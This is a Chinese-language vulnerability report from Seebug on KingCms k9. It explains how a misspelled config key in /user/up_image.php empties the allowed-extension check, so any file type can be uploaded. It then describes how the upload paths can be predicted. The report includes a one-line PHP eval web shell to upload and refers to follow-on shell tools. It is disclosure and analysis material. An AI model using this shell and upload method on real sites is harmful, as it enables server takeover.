KingCms最新版(k9)GetShell

2015-03-18T00:00:00
ID SSV:94890
Type seebug
Reporter Root
Modified 2015-03-18T00:00:00

Description

简要描述:

KingCms最新版(k9)GetShell

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。 在平台看到了几个漏洞,如: 来看看这次shell是如何发生的吧 问题文件在/user/up_image.php 先来看看图片上传的整个过程/user/up_image.php(下面代码中关键步骤我都加了注释)

$upext=kc_config('up.imageype');//注释1:获取允许上传的图片类型 @ini_set('upload_tmp_dir',ROOT.PATH_UP.'/temp/'); 无关代码 $err = ""; $msg = "''"; $u=new user; $userid=$u->info['userid']; if($u->auth_group('user_upimage',true)==false) $err='您所在会员组会员无权上传图片'; $upfile=@$_FILES[$inputname]; if(!isset($upfile))$err='文件域的name错误'; elseif(!empty($upfile['error'])) { 无关代码 } elseif(empty($upfile['tmp_name']) || $upfile['tmp_name'] == 'none')$err = '无文件上传'; else { $temppath=$upfile['tmp_name']; $extension=strtolower(substr($upfile['name'],strrpos($upfile['name'],'.')+1));//注释2:获取上传文件的类型 if(preg_match('/'.str_replace(',','|',$upext).'/i',$extension))//注释3:判断文件是否允许上传 { $bytes=$upfile['size'];//filesize($temppath); if($bytes > $maxattachsize)$err='请不要上传大小超过'.formatBytes($maxattachsize).'的文件'; else { //创建目录 $attach_subdir =date('y/m/d'); $attach_dir = PATH_UP.'/'.$attach_subdir; $attach_subdirs=explode('/',$attach_subdir); $attach_temp=ROOT.PATH_UP; foreach($attach_subdirs as $r){//注释4:上传后文件的路径 $attach_temp.='/'.$r; if(!is_dir($attach_temp)){ @mkdir($attach_temp, 0755); @fclose(fopen($attach_temp.'/index.html', 'w')); } } $filename=date("His").mt_rand(1000,9999).'.'.$extension;//注释5:上传后文件的名字 $target = $attach_dir.'/'.$filename; rename($temppath,ROOT.$target); $arr=getimagesize(ROOT.$target); list($width,$height)=$arr; $extension=strtolower(substr(strrchr($arr['mime'], '/'), 1)); $fext=$extension=='jpg' ? 'jpeg' : strtolower($extension); $func='imagecreatefrom'.$fext;//加载图像函数 $source=$func(ROOT.$target); $max_width=kc_config('system.image_width'); $max_height=kc_config('system.image_height'); if ($width>$max_width || $height>$max_height) { if($width>=$height*$max_width/$max_height){ $newW=$max_width; $newH=($max_width/$width)*$height; }else{ $newW=($max_height/$height)*$width; $newH=$max_height; } $thumb=imagecreatetruecolor($newW, $newH); // Resize imagecopyresampled($thumb, $source, 0, 0, 0, 0, $newW, $newH, $width, $height); $func='image'.$fext; imageantialias($thumb,True); $func($thumb,ROOT.$target); @chmod(ROOT.$target,0755); } 无关代码

整个上传的过程简单来说是这样实现的: 1:获取允许上传的图片类型(见上面代码中注释1) 2:获取上传文件的类型(见上面代码中注释2) 3:判断文件是否允许上传(见上面代码中注释3) 4:上传后文件的路径(见上面代码中注释4) 5:上传后文件的名字(见上面代码中注释5) 问题就出在第1步,$upext=kc_config('up.imageype');在获取允许上传的文件类型时,正确的写法应该是$upext=kc_config('up.imagetype');(请看官仔细对比这两句代码的不同之处,反正我当时测试的时候看了半天,哈哈)。由于这个错误,导致$upext是空,也就使的(第3步):preg_match('/'.str_replace(',','|',$upext).'/i',$extension)总是返回1,也就是说任何后缀的文件都可以上传了! 程序员该打PP~ 然后分析第4、5步,可以得到文件上传的路径是以当前时间定义的,比如今天是2015-03-16,上传后文件的路径是/upfiles/15/03/16,文件是名字也是根据当前时间定义的,时分秒.xxxx.后缀(xxxx四位随机数),当然文件上传后可以通过图片属性获得其路径,也可以遍历这4个随机数(毕竟样本太少了,秒遍历啊)。 上传个php文件看看,内容为

<?php eval($_POST["p"]); ?>

<img src="https://images.seebug.org/upload/201503/17234331b634d21f18e575e8611297ea1c6ced08.jpg" alt="上传过程副本.jpg" width="600" onerror="javascript:errimg(this);">

上传成功后就可以为所欲为了,大马、菜刀…,这里测试一下吧

<img src="https://images.seebug.org/upload/201503/172343451e044a93d49d3913c132590604d120f3.jpg" alt="捕获副本.jpg" width="600" onerror="javascript:errimg(this);">

漏洞证明:

见 详细说明